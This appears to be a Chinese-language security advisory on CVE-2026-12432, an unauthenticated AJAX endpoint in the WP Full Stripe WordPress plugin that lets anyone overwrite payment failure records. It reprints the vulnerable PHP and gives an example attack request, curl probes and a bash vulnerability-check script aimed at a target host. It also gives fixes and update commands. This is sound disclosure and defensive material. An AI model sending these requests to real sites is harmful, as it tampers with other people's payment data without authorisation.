// wpfs-customer.php, 第705-706行
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

// wpfs-customer.php, 第3835-3865行
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... 处理前无身份验证检查 ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // 攻击者可以使用控制的值覆盖
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

# 测试端点是否无需身份验证即可访问
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# 预期响应（存在漏洞）：
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# 关键指标是端点响应时不需要身份验证

#!/bin/bash
TARGET="https://TARGET"

# 检查是否存在漏洞
echo "[*] 测试 CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] 存在漏洞 - 端点无需身份验证即可访问"
else
    echo "[-] 不存在漏洞或出错"
fi

function update_failed_payment_status() {
    // 添加此检查
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... 函数其余部分
}

# 通过 WordPress 管理中心
仪表盘 > 插件 > WP Full Stripe > 更新

# 通过 WP-CLI
wp plugin update wp-full-stripe-free

# 通过 SSH
wp plugin update wp-full-stripe-free --version=8.4.4

# 检查是否安装了有漏洞的版本
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# 测试 AJAX 端点
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "可能存在漏洞"